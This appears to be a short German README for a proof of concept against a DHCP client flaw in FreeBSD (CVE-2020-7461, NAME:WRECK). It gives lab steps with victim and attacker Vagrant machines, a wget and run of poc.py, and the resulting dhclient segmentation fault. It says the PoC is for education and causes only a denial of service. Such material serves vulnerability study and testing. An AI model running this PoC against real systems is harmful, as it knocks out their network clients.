
PoC für DHCP-Sicherheitslücke (NAME:WRECK) in FreeBSD
PoC für DHCP-Schwachstelle (NAME:WRECK) in FreeBSD
Nur zu Bildungszwecken
Dieser PoC verursacht einen DoS anstelle einer RCE, um Missbrauch zu verhindern.


$ cd victim
$ vagrant up
$ cd ..
$ cd attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py
vagrant@vagrant:~$ python3 poc.py
Sniffing...
Öffnen Sie ein weiteres Terminal
$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault
Teppei Fukuda